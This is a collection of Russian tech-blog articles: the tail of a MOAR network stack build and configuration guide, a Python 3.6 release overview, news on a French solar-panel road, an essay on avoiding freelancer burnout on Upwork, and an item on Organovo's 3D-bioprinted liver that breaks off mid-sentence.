но в целях безопасности возможно разделение уровней в зависимости от привилегий, необходимых для их работы. Что ж, перейдем к описанию процесса установки и настройки. Для начала скачаем репозиторий, сделать это можно по ссылке , либо, используя git, перейти в нужную папку и выполнить команду: git clone https://git@github.com:moarstack/moarstack.git Большая часть директорий в репозитории MOAR стек имеют специальное назначение: ./ — файлы представленные в корневой директории (такие как CMakeLists.txt) предназначены для сборки всего проекта и всех других проектов во внутренних директориях (иногда размещенных в одной поддиректории, как это сделано для уровней). layers/ — директории с заголовками (*.h) и исходниками (*.c) для каждого уровня, включая общие файлы с исходными кодами и заголовочные файлы для всех уровней. Также в эту директорию можно добавлять и другие уровни для компиляции вместе со стеком interface/, channel/, routing/, presentation/, service/ — каталоги с файлами с исходными кодами и заголовочными файлами, имеющими отношение только к конкретному уровню. shared/ — файлы с определениями, общими для всех уровней. libmoar/ — файлы с исходными кодами и заголовочные файлы, которые могут быть использованы в других проектах для связи с MOAR стек и использования его для передачи данных. Таким образом, эти файлы реализуют функционал API для MOAR стек moard/ — файлы с исходными кодами и заголовочные файлы, объединяющие все уровни в linux-демона tools/ — файлы с исходными кодами и заголовочные файлы дополнительных служебных программ, использующих MOAR стек, или обеспечивающих работу MOAR стека. Так например, служебная программа moсkit представляет из себя виртуальную среду передачи данных, позволяющая отлаживать работу нескольких экземпляров стека с учётом затухания радиосигнала в среде (в простейшем виде). Со структурой папок более-менее понятно, давайте приступим к компиляции и сборке проекта: Перейдем в корневую папку: сd moarstack_linux и последовательно выполняем следующие команды: cmake . make После удачной сборки в корне должны появятся директории config, lib и bin. В текущей реализации установка в систему не предусмотрена, тем не менее, moard может быть запущен как демон, и, конечно же, вы можете использовать screen или LSB скрипты для автозапуска. Рассмотрим конфигурационные файлы: По пути config/moarstack/ размещается основной файл конфигурации moar.conf moardSettings.LogPath = /var/log/moard.log — расположение лог-файла moardSettings.LayersEnabledDir = layers_enabled — директория относительно moar.conf где расположена конфигурация остальных уровней nodeaddress.address = 0123456789abcdef — адрес ноды в hex, 8 байт (должны быть разными у нод, в текущей реализации стека статическая адресация. В сильном упрощении этот адрес можно представить как аналог IP адреса в TCP/IP стеке) ifaceSocket.FileName = /tmp/moarIfaceChannel.sock — сокет для взаимодействия интерфейсных уровней с канальным уровнем serviceSocket.FileName = /tmp/moarServiceApi.sock — сокет для взаимодействия сервисного уровня с приложениями, через него работает API Теперь рассмотрим конфиги уровней, кстати они лежат по адресу: config/<moardSettings.LayersEnabledDir>/*.conf — конфиги уровней общие поля для файлов конфигурации уровней: libraryLocation.FileName = — имя файла скомпилированной динамической библиотеки. Может быть как относительный или полный путь, так и только имя файла. В последнем случае поиск библиотеки в файловой системе возложен на ld.so. При сборке и отладке стека в Clion, следует обратить внимание на расположение скомпилированных файлов, в зависимости от версии IDE оно может различаться, возможно в настройках цели сборки надо будет задать переменную окружения LD_LIBRARY_PATH c соответствующими путями Наконец-то мы подошли к первому запуску стека. Аргументов для запуска moard пока немного (как раз по этой причине пустует --help xD): --help -h — в будущем тут будет страница с описанием аргументов --config=<filename.conf> -c <file.conf> — имя файла конфигурации, помимо очевидного, позволяет запускать несколько копий стека с разными параметрами Последовательность запуска MOAR стека: 0. Читаем аргументы moard, если по пути в -c отсутствует файл выпадаем с ошибкой. 1. Если аргумент -c не использован, ищем файл конфигурации по умолчанию в ../config/moarstack/moar.conf (если не находим, выпадаем с ошибкой) 2. Если файл конфигурации найден, грузим его, идем в <moardSettings.LayersEnabledDir>/ и читаем там все имеющиеся там *.conf файлы. 3. Загружаем модули по указанным в *.conf путям. 4. Если уже был загружена библиотека с уровнем данного типа, то последующие попытки загрузить уровень того-же типа игнорируются. (За исключением интерфейсных) 5. Все! Можно взаимодействовать с API стека через сокет указанный в serviceSocket.FileName Почему вы выбрали Linux и почему не включили в релиз стек для MCU? Стек MOAR — программное решение, которое может быть установлено на любое устройство под управлением Linux. Мы не ограничиваем пользователей стека MOAR лишь нашим вариантом решения и хотим, чтобы вы относились к нему как к инструменту для собственных проектов, а не как к платформе с жёстко заданной архитектурой. Публикация технической документации — только первый шаг. Да простят нас поклонники Arduino, но мы считаем, что делать свои решения без ограничений на существующие комплекты для разработки интересней и не на много сложнее. И если кто-то решит попробовать собрать очередную метеостанцию с помощью паяльника и стека MOAR, то мы будем только рады. С open source публикацией версии стека для MCU ситуация сложнее. К сожалению, мы живем в мире, где за еду нужно платить, а нам самим порой хочется кушать. Стек под MCU имеет более специализированную структуру и предназначение, не полностью совместимые с open source идеями, поэтому именно решения для MCU мы предполагаем делать коммерческими. В итоге, опубликованный в open source код будет отставать от коммерческих версий примерно на год. Обратная связь. С сегодняшнего дня стек MOAR некоторое время будет находиться в стадии alpha, и мы не рекомендуем использовать его в рабочих проектах во избежание проблем с их работоспособностью. Тем, кто решит попробовать наш стек, мы предлагаем воспользоваться репозиториями с исходными кодами и документацией. Там же можно найти рекомендации по его использованию. Мы сочли создание отдельного сайта или форума нецелесообразным в настоящий момент: доступных каналов связи будет достаточно для оперативного внесения правок и сбора обратной связи. За сим позвольте откланяться: мы поздравляем Вас с Новым Годом и со своей стороны обещаем радовать Вас новыми релизами в следующем году.
https://habrahabr.ru/post/318342/
habrahabr
Релиз Python 3.6 — да, теперь он с нами
['Python', 'языки программирования']
Прошло 15 месяцев, и наконец-то мир увидел релиз языка программирования Python 3.6. Нового довольно много, ведь не зря разработчики ждали целых 15 месяцев. В релизе добавлены новые модули,...
Прошло 15 месяцев, и наконец-то мир увидел релиз языка программирования Python 3.6. Нового довольно много, ведь не зря разработчики ждали целых 15 месяцев. В релизе добавлены новые модули, обновлены стандартные библиотеки, улучшены наборы различных настроек. В целом, Python 3.6 получил много улучшений, что можно считать отличным подарком к Новому Году. Давайте посмотрим подробнее, что принес нам Дед Мороз новый релиз. В частности, появилась поддержка форматируемых строковых литералов , благодаря чему можно определить строку, которая содержит подстановки. Выражения в фигурных скобках вычисляются, подставляясь в текст строки во время выполнения программы, а также форматируются с использованием протокола format (). В качестве примера разработчики приводят такой фрагмент: >>> name = "Fred" >>> f"He said his name is {name}." 'He said his name is Fred.' >>> width = 10 >>> precision = 4 >>> value = decimal.Decimal("12.34567") >>> f"result: {value:{width}.{precision}}" # nested fields 'result: 12.35' Читаемость чисел можно улучшать при помощи символов подчеркивания, например, таким образом — 1_000_000 или 0x_FF_FF_FF; В состав стандартной библиотеки теперь добавлен новый модуль secrets , который предоставляет средства для генерации криптографически надежных псевдослучайных чисел, которые пригодны для формирования различных ключей и токенов; В модули hashlib и ssl добавили поддержку OpenSSL 1.1.0 . В новой версии определен синтаксис аннотаций для переменных , что открывает возможность передать интерпретатору информацию о типах переменных. В атрибуте __annotations__ класса или модуля теперь сохраняются аннотации, правда, здесь нет накладывания ограничений, эта возможность используется для структурирования метаданных, которые могут использоваться сторонними инструментами и библиотеками. Пример: primes: List[int] = [] captain: str # Note: no initial value! class Starship: stats: Dict[str, int] = {} В модуль hashlib разработчики добавили поддержку алгоритмов хэширования BLAKE2, SHA-3 и SHAKE, также реализована функция формирования ключа scrypt(); Добавлена возможность определения асинхронных генераторов . Так, в Python 3.5 было нельзя использовать await и yield одновременно в теле одной функции. Здесь же, в новом релизе этого ограничения уже нет. Таким образом, открывается возможность определения генераторов, которые работают в асинхронном режиме: async def ticker(delay, to): """Yield numbers from 0 to *to* every *delay* seconds.""" for i in range(to): yield i await asyncio.sleep(delay) Добавлено довольно много улучшений , которые связаны с работой на ОС Windows; Также добавлена возможность асинхронной обработки так называемых comprehensions ( списковых включений ) путем работы с выражением «async for» для таких элементов, как списки, множества и словари. Есть и возможность использования выражений await для практических всех видов списковых включений: result = [i async for i in aiter() if i % 2] result = [await fun() for fun in funcs if await condition()] Модуль typing теперь попал в разряд стабильных; Модуль tracemalloc подвергся переработке, средства диагностики ошибок при распределении памяти значительно расширены; Конечно, обновлений гораздо больше, информацию обо всех новых и обновленных моментах можно получить вот здесь . Коллеги, мы, компания Kingservers, сейчас ищем ИТ-авторов для технических сайтов (не Хабрахабр и не Geektimes, сторонние русскоязычные и англоязычные ресурсы). Условие — человек, который пишет статью (она должна быть грамотной и технической), должен еще иметь и возможность опубликовать ее на таком ресурсе. Если вы — такой автор, пишите в личку.
https://habrahabr.ru/company/kingservers/blog/318354/
habrahabr
Во Франции открылась первая дорога, покрытая солнечными панелями
['солнечная энергия', 'франция', 'турувр']
На днях власти города Турувр во Франции торжественно открыли тестовый участок дороги, покрытый солнечными панелями. По словам авторов проекта, энергии, которую будут генерировать эти панели,...
На днях власти города Турувр во Франции торжественно открыли тестовый участок дороги, покрытый солнечными панелями. По словам авторов проекта, энергии, которую будут генерировать эти панели, хватит на освещение всех улиц Турувра. Правда, и сам городок небольшой — его площадь составляет всего 24,01 км ² , а население Турувра немного больше полутора тысяч человек. Проезжую часть покрывают полосками с фотоэлементами 7-мм толщины. Солнечным панелями покрыт отрезок дороги длиной всего в километр. Общая площадь замощенного фотоэлектрическими элементами участка трассы составляет 2800 квадратных метров. Понятно, что панели защищены от воздействия внешних факторов (погода, физическое воздействие проезжающих машин и проходящих людей). Основная защита — это прорезиненное покрытие. Несмотря на небольшой масштаб проекта, в церемонии его запуска приняла участие министр экологии, устойчивого развития и энергетики Франции Мари-Сеголен Руаяль. Это показывает значимость «солнечной дороги» в глазах правительства Франции. «Новый способ использования солнечной энергии открывает возможность эксплуатации уже существующей инфраструктуры для производства энергии», заявила Руаяль. По словам министра, текущий проект — лишь пробный этап проекта продолжительностью в четыре года. В рамках этой инициативы солнечными панелями покроют полотно трасс и в других регионах страны. Но это только в том случае, если текущий этап окажется успешным. Каждый день по этой дороге Турувра проезжает около 2000 автомобилей. Конечно, защита для фотоэлектрических элементов должна быть надежной, чтобы выдержать такую нагрузку. Основная идея — выработка электричества в то время, когда по трассе не едут машины. Полотно ничем не закрыто от солнечных лучей 80% времени. Все это время дороги не эксплуатируются и «простаивают», если так можно выразиться. В некоторых регионах полотно используется еще меньше. Франция сейчас не единственная страна, где испытывается подобный проект. Аналогичные программы реализуются в Германии, Нидерландах и США. Во Франции проект реализуется силами компании Colas — дочерней компании строительного гиганта Bouygues. По словам представителей компании, если бы 250 тысяч километров дорог покрыть солнечными панелями, то генерируемой энергии хватило бы всей стране. А 250 тысяч — это лишь четверть протяженность дорожного полотна в стране. Конечно, пока о реализации такого масштабного плана можно лишь мечтать, но в теории дело обстоит именно так. В ближайшие пять лет французы собираются замостить специально сконструированными панелями дороги общей протяженностью в 1000 км. Тысячи километров панелей должно хватить примерно на нужды 5 миллионов человек, или на 8% текущего населения страны. На разработку ячеек Wattway, которыми и устилают дороги, у компании Colas ушло пять лет. Эти ячейки содержат тонкую пленку поликристаллического кремния. У проекта есть и противники, вернее, специалисты, которые сомневаются в том, что «солнечная» дорога выдержит все превратности погоды, а также будет устойчивой во времени. А ведь не нужно забывать еще о тяжелых грузовиках, которые время от времени ездят по трассам. В Нидерландах, например, тестовый участок дороги, покрытый аналогичными панелями, не выдержал нагрузки. Около 70 метров «солнечного» полотна пришли в негодность. С другой стороны, проблему быстро решили, и полотно, способное генерировать энергию, восстановили. Еще один аргумент противников проекта — это то, что солнечные панели, которые устанавливаются под углом гораздо эффективнее в плане генерации электричества, чем фотоэлектрические элементы, положенные на плоскую поверхность без какого-либо наклона. И, конечно, главный аргумент — это стоимость киловатт-пика «солнечной» энергии. Производительность солнечных фотоэлектрических систем измеряется в киловатт-пик. Этот термин обозначает максимальную мощность, которую может достигнуть фотоэлектрический модуль при оптимальных условиях поглощения солнечного излучения. Эти условия включают наилучшее состояние панели, ее положение и максимальную тепловую эффективность. Так вот, в случае мощеных солнечными панелями дорог во Франции киловатт-пик стоит 17 евро. В то же время, для солнечных панелей, которые установлены на крышах, этот показатель составляет всего 1.3 евро. Такая большая разница пока что является препятствием для масштабной реализации проекта. Но если он покажет себя хорошо, то правительство может дать зеленый свет для дальнейшей реализации и расширения его масштабов. По мнению компании Colas, конкурентоспособными по сравнению с солнечными панелями на крыше «солнечные дороги» смогут стать ближе к 2020 году. Кстати, согласно статистике, стоимость генерации солнечной энергии снизилась во Франции с 2009 по 2015 год на 60%. Как уже говорилось выше, Франция — не единственная страна, где генерировать электричество планируется с использованием площади дорожного полотна. Схожие проекты реализуются, например, в США , где одна из компаний, Solar Roadways, смогла разработать сверхпрочные стеклянные пластины, которые могут использоваться в качестве покрытия дороги, пропуская свет к фотоэлектрическим элементам. В Нидерландах солнечными панелями замостили велосипедную дорогу.
https://geektimes.ru/post/284006/
habrahabr
Выгорание фрилансера на Upwork. Причины, инструменты, решения
['фриланс', 'upwork', 'выгорание', 'продуктивность', 'здоровье', 'прокрастинация', 'подсознание', 'мозг']
Мне не раз приходилось слышать: «Upwork — это же геморрой. Мне приходится тупо кликать мышкой, смотреть фильм на ноуте, чтобы побольше высидеть часов. Поэтому я ушел на XYZ...». Вот этот тезис,...
Мне не раз приходилось слышать: «Upwork — это же геморрой. Мне приходится тупо кликать мышкой, смотреть фильм на ноуте, чтобы побольше высидеть часов. Поэтому я ушел на XYZ...». Вот этот тезис, личные проблемы с продуктивностью, а также немалое количество self-help книг, побудили меня написать этот пост. Вся моя IT-карьера, связана с Upwork (который был oDesk). Это немного-немало 10,000+ часов работы, 10+ лет проведенных в этой системе, с короткими перерывами. Но была одна серьезная проблема, баг в моей ментальной системе — это регулярное выгорание от работы, которое я не осознавал. Было плохо, нервозно, тревожно, но причину не удавалось найти. Она сидела где-то глубоко в подсознании, зарывшись поглубже еще в раннем детстве и не позволяла увидеть реальное положение вещей. Как наступило просветление и что делать во избежание выгорания — читайте под катом. Коротко о себе Я начинал на oDesk'e, как agency freelancer, затем наладив отношения с долгосрочным клиентом, переполз на самостоятельность, то есть individual freelancer. В том числе был опыт работы на платформе как заказчик. В общей сложности нанимал 20 фрилансеров разной специализации, в основном разработчики и дизайнеры. Короче говоря знаю эту платформу с обеих сторон баррикад. За эти 10 лет, выработалось много привычек. Сформировалась так называемая зона комфорта и в целом ментальность и мировоззрение. По моему убеждению — окружение и обстоятельства формируют характер человека. Если не заниматься своим окружением в течении долгого времени, то можно запросто социально деградировать , но об этом позже. Ниже речь пойдет про то, как повысить продуктивность и не выгорать работая на Upwork . Это уточнение не случайно, так как мой основной опыт работы разработчиком — это почасовые контракты, с включенным трекером времени. Хотя большинство рекомендаций применимо к любому работнику организации, где внедряют трекинг времени и подобный софт. А субъективно, этот пост будет полезен для всех работников умственного труда (разработчики, админы, копирайтеры, дизайнеры, маркетологи и др., извините кого забыл), так как большая его часть про здоровье и работу мозга, и инструменты для предотвращения выгорания. Лично моя основная специализация — .NET разработка под десктоп и веб. Но приходилось, и не раз, верстать, рисовать дизайн, писать документацию, проектировать БД, заниматься тестированием. Фрилансер — это «умелые ручки», у него обычно нет узкой специализации, как это принято в крупных компаниях. Разработчик, что опять же субъективно — наиболее энергозатратная специализация для мозга. Поэтому в посте, я начну с фундамента, то есть со здоровья. После 10 лет фриланса, я всерьез задумался об этом вопросе, так как самочувствие часто ухудшалось и не раз доводило меня до выгорания, когда я не мог работать физически из-за истощения ресурсов мозга. Как говорится, не повторяйте чужих ошибок, совершайте свои. Про составляющие вашего здоровья Картинка справа — это составляющие вашего здоровья в целом. Я хотел описать эту тему более детально в отдельном посте, но раз уж вдохновение нашло и тема тесно пересекается с заголовком поста, то вкратце опишу в чем суть. Эта диаграмма гласит, что наше здоровье, делится на духовное, эмоциональное, ментальное, и физическое. Как видите, самый большой круг — это физическое здоровье, помимо всего, оно зависит от всех внутренних кругов. Далее наши эмоции и ментальность, оно же здоровье мозга, которое мы разберем более детально ниже. И внутри всего — духовное здоровье, которое сложно отследить, но имеет огромное влияние на остальные состовляющие, и в конечном итоге на ваше самочувствие. Не даром говорят: «В здоровом теле — здоровый дух». Коротко, рекомендации по каждому: Физическое. Капитанский совет, которому мало кто следует в обществе-потребления, где успех и погремушки цениться выше, чем самочувствие человека. Совет прост и его вы знаете с детства: хорошо спите, ешьте и гуляйте. Спать не менее 8 часов в сутки. Хорошо есть включая продукты полезные для мозга. Например бананы и шоколад. Свести до минимума и в конечном счете избавиться от фаст-фуда, еды на ходу, алкоголя и курения. Гуляйте хотя бы 1 час в сутки. В идеале, со временем, прогулку можно заменить на физические нагрузки. Фитнесс, плавание, теннис, футбол, боулинг, все что вам по душе, главное регулярность. Мне например хватает носить дочку на руках 4 километра каждый день. Ментальное . Мозг хочет быть вашим боссом. Мысли скачут табуном пока весь ресурс не исчерпается и не наступит отключка. Если коротко : устал — отдохни. Более подробно описано ниже как речарджиться. Эмоциональное . Окружайте себя позитивными людьми, которые вас вдохновляют. И старайтесь избегать тех, кто тянет вниз, или хотя бы находить путь не вовлекаться в их взгляды. Духовное . Вопрос религии, во что вы верите и на что опираетесь в жизни — ваше сугубо личное дело. Лично я пробовал и восточные практики (Цигун, Хатха-Йога) и привычное нам православие и западный протестантизм. Краткий совет — научится избегать time-travelling (переживать за будущее, сожалеть о прошлом), стараться находится в моменте сейчас. Узнать подробнее про технику можно из книг и видео Экхарта Толле. В итоге, начиная с малого, затем стараясь следить за всеми четырьмя составляющими здоровья — шансы, что вы сгорите от работы будут равны нулю. Это как выработать привычку чистить зубы. По аналогии, начиная с одного зуба, например — высыпаться. Переходить к чистке двух зубов и так до тех пор, пока не будет выработана привычка для всех зубов. По разным данным, любая привычка вырабатывается за 21-24 дня, каждодневного повторения. Могу порекомендовать известную книгу по теме — The power of Habit . Разделение на составляющие и часть советов взяты из книги — Choose Yourself! . Про физиологию мозга и ментальное здоровье Коротко расскажу, как устроена работа мозга, а именно префронтальной коры . Префронтальная кора головного мозга отвечает за обработку и анализ абстрактных понятий, подавляет инстинктивные реакции вроде бей или беги, ставит цели. Скажем так, это фасад или фильтр нашего подсознания. Если ресурсы этой части мозга исчерпываются, минимум что нас ждет — это прокрастинация, а в терминальных случаях — повышенная нервозность, тревога, раздражительность. Чтобы избавиться от этого, подсознание толкает человека на любые методы решения вопроса. В том числе алкоголь, никотин, беспорядочные половые связи и так далее. Рациональное мышление при этом отключается, поэтому на мораль и остальные органы центральному процессору наплевать, ему надо восстановить ресурс. Так заложено природой и эволюцией. К слову, мозг осознанно работает на 5-7%, остальные 95% — это ваш установленный за жизнь «софт», то есть бессознательное. Программа поведения работает как ей вздумается, на основе паттернов, убеждений, следования за толпой (мартышка видит — мартышка делает), инстинктов самосохранения и других. Поэтому долго фокусируясь на одной задаче, требующей активной работы мозга, ресурсы префронтальной коры исчерпываются. Максимальное время концентрации на одной умственной задаче 30-40 минут . После приходит незванный гость — тетя Прокра. Мы начинаем отвлекаться, лезть в социальные сети, угарать от видео, читать хабр. Это естественная реакция программы подсознания, мозгу нужен отдых и он ищет решения в других местах, менее энергозатратных. И часто он находит его в развлекательном контенте, что на время провоцирует выброс дофамина. Но выбирая этот путь, мозг толком не расслабляется. Выброс дофамина сбивает систему вознаграждений и вернуться к задаче сложнее, хочется чаще отвлекаться. Причем тут Upwork? Вернемся к почасовой работе на Upwork. За долгое время работы на этой платформе, у меня сформировался паттерн — больше часов=больше $ . Нередко я высиживал по 10 часов подряд (рекорд 16), стуча по клаве первые 3-4 часа и набивая код, и потом прокрастинируя, заставлял утомленный мозг написать хоть строчку. Пара 10-минутных перерывов на перекусить — вот и весь отдых. Хочу подчеркнуть, что именно высиживал , а не продуктивно работал. Стоит ли говорить, что уже к концу дня становился выжатым лимоном и ходил как зомби, без всякого желания что-либо делать. Burnout . В целом такой 8-10-часовой режим без вынимачки и отдыха я выдерживал максимум 2 недели, потом мне нужен был пит-стоп. Мне встречались инопланетяне (приземлившиеся в Индии), которые работали по 16 часов каждый день. Как они это делали, я не узнавал. Может быть как в фильме “Такси”, когда один кореец-таксист спит в багажнике, тогда другой за рулем, затем они меняются. «Кто отличит корейца, от корейца? (с)». Когда я начинал карьеру в 20 лет, разумеется я не осознавал какой ущерб здоровью я наношу, слов прокрастинация и префронтальная кора я тоже не знал. Единственное, что меня интересовало — это количество заработанных $ за неделю. Хотя, несмотря на возраст, тревожные звоночки и прокрастинация наступали неоднократно, также как и пит-стопы. В конечном счете, к 30 годам, как несложно посчитать, здоровье подсело и волей-неволей я стал искать решение проблемы. Проблема называется выгорание и истощение. Работа не на результат, а на количество $ . Ментальность $ =час. По моему глубокому убеждению, система трекинга Upwork, должна быть ориентирована на результат, а не на количество часов. Хотя бы иметь такую опцию. Вы скажите: “но есть же Fixed-Price!”. Есть, но идеальный конь в вакууме, для долгосрочных проектов, должен выглядеть как Jira или любая другая СУП. Ты вписываешь время затраченное на задачу → заказчик апрувит → тебе поступает профит. Все в одной системе. Upwork бы выступал гарантом оплаты, также как на Hourly-проектах. Fixed-price не адаптирован под трекинг задач, и milestones доступны только на стороне клиента. Слишком много головняка в итоге, поэтому люди часто уходят на удаленку с прямой оплатой, когда сформировалось доверие между заказчиком и исполнителем. Как речарджиться? (от англ. recharge — перезаряжать) Короткий совет я уже написал: устал — отдохни. Чем вы моложе, тем больше в вас энергии и запаса сил на решение умственных задач. Но все равно, нужно выработать привычку, чтобы в голове загорался красный свет, когда вы чувствуете, что устали и мозг отказывается выдавать результат. Если более детально, то ниже список рекомендаций, который поможет избежать выгорания : — Используйте метод «Помидора» Другими словами чередуйте работу и отдых, как можно чаще. Давайте отдых мозгу после активного рабочего спринта во избежание прокрастинации и переутомления. Это важный совет этого поста. Именно он привел меня к правильной организации своего рабочего времени. Техника основана на коротких спринтах до 40 минут работы (помните ресурс префронтальной коры) и затем 5-15 минут отдыха. По умолчанию принята пропорция 25/5 минут. Я использую пропорцию 40/10 минут, чтобы реже выпадать из потока, и больше отдыхать. К тому же на заработанные деньги это не влияет, трекер снимает скриншот в среднем раз в 10 минут и больше. Что делать в 5-10 минутках отдыха? Главная цель — дать отдохнуть мозгу. Переключаться на чтение соц. сетей, блогов, книг или видео — не вариант. Дофамина немного прибавит, но эффекта в плане отдыха будет мало. Поэтому лично я делаю одно из следующих: Включаю музыку и кидаю теннисный мяч в стену Жонглирую Просто ложусь на диван и слушаю 2 песни с массажным мячом в руках Смотрю в окно. Сначала в даль, потом ближе. Тренирует зрение к тому же. Завариваю чай Завтрак/обед в длинных перерывах Что еще можно делать: Медитация (Глубокие Вдох/Выдох) Самомассаж Отжимание или подтягивание При длинных паузах — прогуляться, например в ближайший магазин Общий совет — нужно отключить префронтальную часть, путем делания чего-то руками, что вы умеете на автомате. Вышивать крестиком, паять, собирать макеты, тоже подойдет, если это не требует умственных усилий. Таким образом, ваша префронтальная часть нормализует свой ресурс и вы сможете дальше, кодить, писать тексты, рисовать дизайн. Инструмент: Я использую Tomaighty (доступно под Windows и Mac) — так как это очень простое решение с таймером и звуковыми сигналами. Гуглится еще множество вариантов, от игровых, с прокачкой персонажа, до мобильных приложений. — Соблюдайте режим работы и режим отдыха Во фрилансе, хаос — обычное явление. В этом его достоинство и его же главный недостаток. Приучить работать себя по режиму, значит жить проще. Вы поддерживаете ритм и не переутомляетесь без нужды. Вы знаете, когда ляжете спать и когда у вас будет свободное время. Да, у нас есть возможность заняться другими делами в любое время и у большинства — работать в любое время. Но в приоритете — старайтесь соблюдать режим. Инструмент: Любая напоминалка, с ежедневным повторением. Я использую встроенное в iOS приложение. Выставляю на 11 утра — начало работы, и в течении недели-двух, втягиваюсь в ритм и подстраиваю свои дела под это время. — Обновляйте обстановку и типы задач Если добавлять новизну в рабочий процесс, префронтальная кора остается в тонусе. На новое мозг реагирует всегда, потому что это важно для выживания. “Не успел сориентироваться — не выжил”. Меняйте обстановку и тип задач. Обстановка: Если вы работаете дома — то можно менять положение стола, раз в несколько месяцев менять стул, комнату, где вы работаете. Например интересный вариант — оборудовать офис на балконе . Больше идей в статьях про домашний офис . Чередовать работу дома и работу в коворкинге/кафе/у родителей/своем офисе Чередовать работу на ПК и работу на ноутбуке, если возможно — на планшете Новые девайсы и рабочее окружение. Можно например купить новую клавиатуру или мышь раз в несколько месяцев. Установить новый интерфейс для вашей ОС. Даже смена фона рабочего стола, благотворно действует на префронтальную кору. Тип задач: У фрилансера обычно частая ротация задач. Особенно у дизайнеров, копирайтеров, в среднем в разы больше заказов и задач, чем у разработчиков. Поэтому могу дать совет именно разработчикам, особенно актуально для long-term проектов: Чередуйте, код и разработку UI, код и тестирование Находите и используйте новые библиотеки и решения Пробуйте новые инструменты и плагины к вашей IDE. Особенно присмотритесь к категории Productivity. Меняйте тему IDE, если возможно, обновляйте до более новой версии по возможности Обязательно изучите горячие клавиши вашей IDE. Можно распечатать и повесить перед собой. Это повышает продуктивность в разы. — Используйте трекер настроения и здоровья. Например приложение Pacifica отлично с этим справляется. В нем вы можете описывать и улучшать свое настроение, получать уведомления «How do you feeling?», использовать технику вдох/выдох и медитацию, ставить цели по здоровью и в целом, и много чего еще. Советы непосредственно по Upwork-трекеру Если вас раздражают уведомления — отключите их. Меня например — да. Лучше потом зайти в Work Diary и удалить лишнее, чем париться из-за постоянных скриншот-нотификейшенов. На месте Upwork, я бы вообще сделал это окошко максимально незаметным, то есть полу-прозрачным и маленьким. К слову сказать, за 10 лет, мне попался только один вредный заказчик, который жестко мониторил скриншоты и требовал удалить те, которые по его мнению не относятся к работе. Остальные ~50, всегда нормально относились, если я например проверяю почту, отвечаю в мессенджере или захожу на форум. Напряжение от слежки — это должно убавить. Используйте горячие клавиши для старта и остановки трекинга времени. Например вам срочно нужно переключится на не-рабочую задачу, нажимайте Ctrl+Alt+PgDown. Опять вернуться к задаче — Ctrl+Alt+PgUp. Так настроено у меня во вкладке HotKeys, дефолтные сочетания клавиш другие. Добавляйте время вручную . Если вы установили доверительные отношения с клиентом — смело жмите Add Manual Time, если например пропадал интернет или вы работали за пределами десктопа (собирали робота). Или, будем честными, просто задолбались от трекинга ваших действий. Ведь заказчику важен результат — а не скриншоты. Разумеется, другая сторона медали, что Upwork не гарантирует оплату мануального времени, и сам заказчик должен быть предупрежден вами до того как ему выставят счет. Поэтому ключевое слово здесь — доверительные отношения . Поставьте напоминание «Просмотреть Work Diary» в конце рабочего дня, пока это не войдет в привычку. Например, пока я писал этот пост, был ВНЕЗАПНО включен трекер. Сам значок я прячу из трея , чтобы совсем не обращать внимания, что работаю под наблюдением. Напишите себе денежную цель на неделю и запишите ее на стикере карандашом , чтобы она была перед глазами. В конце дня стирайте графу сколько часов или $ осталось до цели, и вписывайте новые цифры с учетом наработанного. Таким образом вы ежедневно контролируете свои доходы и нагрузки, и мотивированы на более быстрое выполнение и перевыполнение цели. Но не забывайте про переутомление и отдых! Поставьте мобильное приложение Upwork. Это позволит держать руку на пульсе, когда вы оффлайн. То же самое касается мобильных версий мессенджеров, которые использует клиент и команда. Будь то Skype, Viber, WhatsApp, но чаще Slack, Flowdock и подобные. Закрывайте приложение Upwork на десктопе, закончив работу. У меня привычка, не выключать комп совсем, чтобы не тратить время на загрузку. Про гибернацию знаю, но на моем железе оно не работает и все равно ждать. Вместо тысячи слов — одна картинка, после суток включенного upwork desktop app: Сколько еще памяти съест upwork.exe и как будут грузиться другие программы — вы можете догадаться. Реквест с этим багом отправил в саппорт Upwork'a, ждем апдейта. В заключении хотел бы сказать, что следование этим принципам, а именно следить за здоровьем и чередовать кодинг и отдых в течении дня, избавило меня от многих проблем, которые были связаны с переутомлением. Продуктивность повысилась и энергии стало хватать на гораздо больше дел. Теперь я провожу больше времени с семьей, исключил алкоголь из употребления, посещаю интересные ивенты, чтобы не выпадать из социума, прокачиваю технические и другие скилы. Не забывайте про здоровье и успехов в карьере! P.S. Полезные ссылки по теме » Как предотвратить эмоциональное выгорание » Как свести к минимуму профзаболевания в IT » Как не прокрастинировать и вовремя перезаряжаться UPD из комментариев от niksite : » Slack-сообщество OdeskConf » Гайд по работе на Апворке
https://habrahabr.ru/post/318340/
habrahabr
Получены данные доклинических исследований печени, созданной методом 3D-биопечати
['Organovo', 'печень', '3D-печать']
Биопринтер NovoGen, который используется для печати печени Компания Organovo представила данные доклинических исследований искусственной человеческой печени, созданной методом органической...
Биопринтер NovoGen, который используется для печати печени Компания Organovo представила данные доклинических исследований искусственной человеческой печени , созданной методом органической 3D-печати . Результаты оглашены на конференции TERMIS-Americas , которая прошла 11-14 декабря 2016 года в Сан-Диего. Испытания впервые на практике показали выживаемость искусственной человеческой ткани и её устойчивое функционирование в организме мыши. Получены доказательства стабильного образования кровеносных сосудов в печени. Исследование показало самое главное: в искусственной печени действительно производятся человеческие белки и проявляются ключевые ферменты метаболизма человека. Это важный шаг к началу полноценных клинических испытаний, а затем и коммерческой 3D-печати органов в неограниченных количествах — для установки нуждающимся. Во время испытаний фрагменты ткани человеческой печени были имплантированы в печень белой мыши-мутанта NOD/SCID с иммунодефицитом , специально выведенной для подобных опытов. Ткань состоит из человеческих гепатоцитов (клетки паренхимы печени) и отдельных не паренхимных клеток. Функционирование 3D-напечатанной ткани человеческой печени наблюдали по человеческому альбумину, альфа-1-антитрипсину и фибриногену, циркулирующим в крови мыши в течение 7−28 дней после имплантации. Гистологическая оценка имплантированной терапевтической ткани показала сохранение клеточной организации в течение 28 дней после имплантации со здоровым проявлением ключевых ферментов метаболизма человека, которые связаны с врождёнными пороками метаболизма, такими как дефицит фумарилацетоацетата гидролазы (FAH) и дефицит орнитинтранскарбамилазы (OTC). Ткани человеческой печени вели себя совершенно так, как и было положено. На протяжении всего срока доклинических испытаний ткань печени осталась неповреждённой и хорошо принималась организмом животных. Результаты доклинических исследований поддерживают план компании Organovo по 3D-печати искусственной печени для терапевтического использования. Искусственная печень станет важным достижением современной биомедицины и 3D-печати. В первую очередь она поможет людям, страдающим от врождённых заболеваний метаболизма, перечисленных выше, и острой хронической печёночной недостаточности. Печень — один из самых дефицитных органов для пересадки. Ежедневно десятки умирают из-за отказа печени, потому что им не досталось органа для пересадки. 3D-печать может навсегда 